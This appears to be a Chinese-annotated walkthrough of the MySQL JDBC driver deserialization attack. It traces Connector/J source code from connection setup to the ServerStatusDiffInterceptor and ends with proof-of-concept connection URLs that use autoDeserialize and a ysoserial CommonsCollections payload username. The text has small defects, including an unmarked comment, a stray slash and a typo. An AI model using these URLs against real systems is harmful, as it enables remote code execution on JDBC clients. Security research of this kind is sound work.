public ConnectionImpl(String hostToConnectTo, int portToConnectTo, Properties info, String databaseToConnectTo, String url) throws SQLException {
    ...
    try {
    this.dbmd = getMetaData(false, false);
    调用initializeSafeStatementInterceptors()方法
    initializeSafeStatementInterceptors();
    //调用至createNewIO()方法
    createNewIO(false);
    unSafeStatementInterceptors();
    } catch (SQLException ex) {
    cleanup(ex);
    ...
}

public void initializeSafeStatementInterceptors() throws SQLException {
    this.isClosed = falcse;
    //此次声明unwrappedInterceptors为数据库连接url中statementInterceptors连接参数即com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor
    List unwrappedInterceptors = Util.loadExtensions(this, this.props, this.getStatementInterceptors(), "MysqlIo.BadStatementInterceptor", this.getExceptionInterceptor());
    this.statementInterceptors = new ArrayList(unwrappedInterceptors.size());
    //遍历unwrappedInterceptors
    for(int i = 0; i < unwrappedInterceptors.size(); ++i) {
        //interceptor为ServerStatusDiffInterceptor
        Object interceptor = unwrappedInterceptors.get(i);
        //目标类实现StatementInterceptor此处为true进入if，
        if (interceptor instanceof StatementInterceptor) {
            //此处为空进入else
            if (ReflectiveStatementInterceptorAdapter.getV2PostProcessMethod(interceptor.getClass()) != null) {
                this.statementInterceptors.add(new NoSubInterceptorWrapper(new ReflectiveStatementInterceptorAdapter((StatementInterceptor)interceptor)));
            } else {
                //进行添加，添加V1toV2StatementInterceptorAdapter((StatementInterceptor)interceptor))
                this.statementInterceptors.add(new NoSubInterceptorWrapper(new V1toV2StatementInterceptorAdapter((StatementInterceptor)interceptor)));
            }
        } else {
            this.statementInterceptors.add(new NoSubInterceptorWrapper((StatementInterceptorV2)interceptor));
        }
    }
}

public synchronized void createNewIO(boolean isForReconnect) throws SQLException {
    Properties mergedProps = this.exposeAsProperties(this.props);
    if (!this.getHighAvailability()) {
        //调用connectOneTryOnly()
        this.connectOneTryOnly(isForReconnect, mergedProps);
    } else {
        this.connectWithRetries(isForReconnect, mergedProps);
    }
}

private void connectOneTryOnly(boolean isForReconnect, Properties mergedProps) throws SQLException {
    Exception connectionNotEstablishedBecause = null;

    try {
        this.coreConnect(mergedProps);
        this.connectionId = this.io.getThreadId();
        this.isClosed = false;
        boolean oldAutoCommit = this.getAutoCommit();
        int oldIsolationLevel = this.isolationLevel;
        boolean oldReadOnly = this.isReadOnly();
        String oldCatalog = this.getCatalog();
        this.io.setStatementInterceptors(this.statementInterceptors);
        //调用initializePropsFromServer()
        this.initializePropsFromServer();
        if (isForReconnect) {
            this.setAutoCommit(oldAutoCommit);
            if (this.hasIsolationLevels) {
                this.setTransactionIsolation(oldIsolationLevel);
            }

            this.setCatalog(oldCatalog);
            this.setReadOnly(oldReadOnly);
        }

    } catch (Exception var8) {
        if (this.io != null) {
            this.io.forceClose();
        }

        if (var8 instanceof SQLException) {
            throw (SQLException)var8;
        } else {
            SQLException chainedEx = SQLError.createSQLException(Messages.getString("Connection.UnableToConnect"), "08001", this.getExceptionInterceptor());
            chainedEx.initCause(var8);
            throw chainedEx;
        }
    }
}

private void initializePropsFromServer() throws SQLException {
    String connectionInterceptorClasses = this.getConnectionLifecycleInterceptors();
    this.connectionLifecycleInterceptors = null;
    if (connectionInterceptorClasses != null) {
        this.connectionLifecycleInterceptors = Util.loadExtensions(this, this.props, connectionInterceptorClasses, "Connection.badLifecycleInterceptor", this.getExceptionInterceptor());
    }

    this.setSessionVariables();
    if (!this.versionMeetsMinimum(4, 1, 0)) {
        this.setTransformedBitIsBoolean(false);
    }

    this.parserKnowsUnicode = this.versionMeetsMinimum(4, 1, 0);
    if (this.getUseServerPreparedStmts() && this.versionMeetsMinimum(4, 1, 0)) {
        this.useServerPreparedStmts = true;
        if (this.versionMeetsMinimum(5, 0, 0) && !this.versionMeetsMinimum(5, 0, 3)) {
            this.useServerPreparedStmts = false;
        }
    }

    String sqlModeAsString;
    if (this.versionMeetsMinimum(3, 21, 22)) {
        //调用至loadServerVariables()
        this.loadServerVariables();
        ...

private void loadServerVariables() throws SQLException {
    ...
    Statement stmt = null;
    ResultSet results = null;

    try {
        stmt = this.getMetadataSafeStatement();
        String version = this.dbmd.getDriverVersion();
        if (version != null && version.indexOf(42) != -1) {
            StringBuffer buf = new StringBuffer(version.length() + 10);

            for(int i = 0; i < version.length(); ++i) {
                char c = version.charAt(i);
                if (c == '*') {
                    buf.append("[star]");
                } else {
                    buf.append(c);
                }
            }

            version = buf.toString();
        }

        String versionComment = !this.getParanoid() && version != null ? "/* " + version + " */" : "";
        String query = versionComment + "SHOW VARIABLES";
        if (this.versionMeetsMinimum(5, 0, 3)) {
            query = versionComment + "SHOW VARIABLES WHERE Variable_name ='language'" + " OR Variable_name = 'net_write_timeout'" + " OR Variable_name = 'interactive_timeout'" + " OR Variable_name = 'wait_timeout'" + " OR Variable_name = 'character_set_client'" + " OR Variable_name = 'character_set_connection'" + " OR Variable_name = 'character_set'" + " OR Variable_name = 'character_set_server'" + " OR Variable_name = 'tx_isolation'" + " OR Variable_name = 'transaction_isolation'" + " OR Variable_name = 'character_set_results'" + " OR Variable_name = 'timezone'" + " OR Variable_name = 'time_zone'" + " OR Variable_name = 'system_time_zone'" + " OR Variable_name = 'lower_case_table_names'" + " OR Variable_name = 'max_allowed_packet'" + " OR Variable_name = 'net_buffer_length'" + " OR Variable_name = 'sql_mode'" + " OR Variable_name = 'query_cache_type'" + " OR Variable_name = 'query_cache_size'" + " OR Variable_name = 'init_connect'";
        }

        this.serverVariables = new HashMap();
        //调用至com.mysql.jdbc.StatementImpl#executeQuery()
        results = stmt.executeQuery(query);
        ...

public synchronized ResultSet executeQuery(String sql) throws SQLException {
    this.checkClosed();
    MySQLConnection locallyScopedConn = this.connection;
    synchronized(locallyScopedConn) {
        this.retrieveGeneratedKeys = false;
        this.resetCancelledState();
        this.checkNullOrEmptyQuery(sql);
        boolean doStreaming = this.createStreamingResultSet();
        ...
        if (sql.charAt(0) == '/' && sql.startsWith("/* ping */")) {
            this.doPingInstead();
            return this.results;
        } else {
            this.checkForDml(sql, firstStatementChar);
            if (this.results != null && !locallyScopedConn.getHoldResultsOpenOverStatementClose()) {
                this.results.realClose(false);
            }

            CachedResultSetMetaData cachedMetaData = null;
            if (this.useServerFetch()) {
                this.results = this.createResultSetUsingServerFetch(sql);
                return this.results;
            } else {
                CancelTask timeoutTask = null;
                String oldCatalog = null;

                try {
                    ...
                    if (locallyScopedConn.useMaxRows()) {
                        if (StringUtils.indexOfIgnoreCase(sql, "LIMIT") != -1) {

                            this.results = locallyScopedConn.execSQL(this, sql, this.maxRows, (Buffer)null, this.resultSetType, this.resultSetConcurrency, doStreaming, this.currentCatalog, cachedFields);
                            .....

public synchronized ResultSetInternalMethods execSQL(StatementImpl callingStatement, String sql, int maxRows, Buffer packet, int resultSetType, int resultSetConcurrency, boolean streamResults, String catalog, Field[] cachedMetadata, boolean isBatch) throws SQLException {
    ...
    ResultSetInternalMethods var31;
    try {
        if (packet != null) {
            ResultSetInternalMethods var32 = this.io.sqlQueryDirect(callingStatement, (String)null, (String)null, packet, maxRows, resultSetType, resultSetConcurrency, streamResults, catalog, cachedMetadata);
            return var32;
        }

        String encoding = null;
        if (this.getUseUnicode()) {
            encoding = this.getEncoding();
        }

        var31 = this.io.sqlQueryDirect(callingStatement, sql, encoding, (Buffer)null, maxRows, resultSetType, resultSetConcurrency, streamResults, catalog, cachedMetadata);
        ...

final ResultSetInternalMethods sqlQueryDirect(StatementImpl callingStatement, String query, String characterEncoding, Buffer queryPacket, int maxRows, int resultSetType, int resultSetConcurrency, boolean streamResults, String catalog, Field[] cachedMetadata) throws Exception {
    ++this.statementExecutionDepth;

    Object var50;
    try {
        if (this.statementInterceptors != null) {
            //
            ResultSetInternalMethods interceptedResults = this.invokeStatementInterceptorsPre(query, callingStatement, false);
            if (interceptedResults != null) {
                ResultSetInternalMethods var12 = interceptedResults;
                return var12;
            }
        }

ResultSetInternalMethods invokeStatementInterceptorsPre(String sql, com.mysql.jdbc.Statement interceptedStatement, boolean forceExecute) throws SQLException {
    ResultSetInternalMethods previousResultSet = null;
    //interceptors为ServerStatusDiffInterceptor
    Iterator interceptors = this.statementInterceptors.iterator();

    while(interceptors.hasNext()) {
        StatementInterceptorV2 interceptor = (StatementInterceptorV2)interceptors.next();
        boolean executeTopLevelOnly = interceptor.executeTopLevelOnly();
        boolean shouldExecute = executeTopLevelOnly && (this.statementExecutionDepth == 1 || forceExecute) || !executeTopLevelOnly;
        if (shouldExecute) {
            ResultSetInternalMethods interceptedResultSet = interceptor.preProcess(sql, interceptedStatement, this.connection);
            if (interceptedResultSet != null) {
                previousResultSet = interceptedResultSet;
            }
        }
    }

    return previousResultSet;
}

public ResultSetInternalMethods preProcess(String sql, Statement interceptedStatement, Connection connection) throws SQLException {
    this.underlyingInterceptor.preProcess(sql, interceptedStatement, connection);
    return null;
}

public ResultSetInternalMethods preProcess(String sql, Statement interceptedStatement, Connection connection) throws SQLException {
    //此处this.toProxy为ServerStatusDiffInterceptor
    return this.toProxy.preProcess(sql, interceptedStatement, connection);
}

public ResultSetInternalMethods preProcess(String sql, Statement interceptedStatement, Connection connection) throws SQLException {
    if (connection.versionMeetsMinimum(5, 0, 2)) {
        this.populateMapWithSessionStatusValues(connection, this.preExecuteValues);
    }

    return null;
}

private void populateMapWithSessionStatusValues(Connection connection, Map toPopulate) throws SQLException {
    java.sql.Statement stmt = null;
    ResultSet rs = null;

    try {
        toPopulate.clear();
        stmt = connection.createStatement();
        rs = stmt.executeQuery("SHOW SESSION STATUS");
        Util.resultSetToMap(toPopulate, rs);
    } finally {
        if (rs != null) {
            rs.close();
        }

        if (stmt != null) {
            stmt.close();
        }

    }

}

String url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc";
String username = "yso_CommonsCollections4_calc";
String password = "";
Class.forName("com.mysql.jdbc.Driver");
conn = DriverManager.getConnection(url,username,password);

String url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc";
String username = "yso_CommonsCollections4_calc";
String password = "";
Class.forName("com.mysql.jdbc.Driver");
conn = DriverManager.getConnection(url,username,password);

public ConnectionImpl(HostInfo hostInfo) throws SQLException {
    try {
        this.origHostInfo = hostInfo;
        this.origHostToConnectTo = hostInfo.getHost();
        this.origPortToConnectTo = hostInfo.getPort();
        this.nullStatementResultSetFactory = new ResultSetFactory(this, (StatementImpl)null);
        this.session = new MysqlaSession(hostInfo, this.getPropertySet());
        this.session.addListener(this);
        this.autoReconnectForPools = this.getPropertySet().getBooleanReadableProperty("autoReconnectForPools");
        this.cachePrepStmts = this.getPropertySet().getBooleanReadableProperty("cachePrepStmts");
        this.autoReconnect = this.getPropertySet().getModifiableProperty("autoReconnect");
        this.profileSQL = this.getPropertySet().getModifiableProperty("profileSQL");
        this.useUsageAdvisor = this.getPropertySet().getBooleanReadableProperty("useUsageAdvisor");
        this.reconnectAtTxEnd = this.getPropertySet().getBooleanReadableProperty("reconnectAtTxEnd");
        this.emulateUnsupportedPstmts = this.getPropertySet().getBooleanReadableProperty("emulateUnsupportedPstmts");
        this.ignoreNonTxTables = this.getPropertySet().getBooleanReadableProperty("ignoreNonTxTables");
        this.pedantic = this.getPropertySet().getBooleanReadableProperty("pedantic");
        this.prepStmtCacheSqlLimit = this.getPropertySet().getIntegerReadableProperty("prepStmtCacheSqlLimit");
        this.useLocalSessionState = this.getPropertySet().getBooleanReadableProperty("useLocalSessionState");
        this.useServerPrepStmts = this.getPropertySet().getBooleanReadableProperty("useServerPrepStmts");
        this.processEscapeCodesForPrepStmts = this.getPropertySet().getBooleanReadableProperty("processEscapeCodesForPrepStmts");
        this.useLocalTransactionState = this.getPropertySet().getBooleanReadableProperty("useLocalTransactionState");
        this.maxAllowedPacket = this.getPropertySet().getModifiableProperty("maxAllowedPacket");
        this.disconnectOnExpiredPasswords = this.getPropertySet().getBooleanReadableProperty("disconnectOnExpiredPasswords");
        this.readOnlyPropagatesToServer = this.getPropertySet().getBooleanReadableProperty("readOnlyPropagatesToServer");
        this.database = hostInfo.getDatabase();
        this.user = StringUtils.isNullOrEmpty(hostInfo.getUser()) ? "" : hostInfo.getUser();
        this.password = StringUtils.isNullOrEmpty(hostInfo.getPassword()) ? "" : hostInfo.getPassword();
        this.props = hostInfo.exposeAsProperties();
        this.initializeDriverProperties(this.props);
        this.pointOfOrigin = (Boolean)this.useUsageAdvisor.getValue() ? LogUtils.findCallingClassAndMethod(new Throwable()) : "";
        this.dbmd = this.getMetaData(false, false);
        //解析queryInterceptors连接参数并加载至当前类属性
        this.initializeSafeQueryInterceptors();
    } catch (CJException var3) {
        throw SQLExceptionsMapping.translateException(var3, this.getExceptionInterceptor());
    }

    try {
        /
        this.createNewIO(false);
    ...

public void initializeSafeQueryInterceptors() throws SQLException {
    try {
        this.queryInterceptors = (List)Util.loadClasses(this.getPropertySet().getStringReadableProperty("queryInterceptors").getStringValue(), "MysqlIo.BadQueryInterceptor", this.getExceptionInterceptor()).stream().map((o) -> {
            return new NoSubInterceptorWrapper(o.init(this, this.props, this.session.getLog()));
        }).collect(Collectors.toList());
    } catch (CJException var2) {
        throw SQLExceptionsMapping.translateException(var2, this.getExceptionInterceptor());
    }
}

public void createNewIO(boolean isForReconnect) {
    try {
        synchronized(this.getConnectionMutex()) {
            try {
                Properties mergedProps = this.getPropertySet().exposeAsProperties(this.props);
                if (!(Boolean)this.autoReconnect.getValue()) {
                    this.connectOneTryOnly(isForReconnect, mergedProps);
                    return;
                }

                this.connectWithRetries(isForReconnect, mergedProps);
            } catch (SQLException var6) {
                throw (UnableToConnectException)ExceptionFactory.createException(UnableToConnectException.class, var6.getMessage(), var6);
            }

        }
    } catch (CJException var8) {
        throw SQLExceptionsMapping.translateException(var8, this.getExceptionInterceptor());
    }
}

private void connectOneTryOnly(boolean isForReconnect, Properties mergedProps) throws SQLException {
    Exception connectionNotEstablishedBecause = null;
    try {
        JdbcConnection c = this.getProxy();
        this.session.connect(this.origHostInfo, mergedProps, this.user, this.password, this.database, DriverManager.getLoginTimeout() * 1000, c);
        boolean oldAutoCommit = this.getAutoCommit();
        int oldIsolationLevel = this.isolationLevel;
        boolean oldReadOnly = this.isReadOnly(false);
        String oldCatalog = this.getCatalog();
        this.session.setQueryInterceptors(this.queryInterceptors);
        this.initializePropsFromServer();
        ...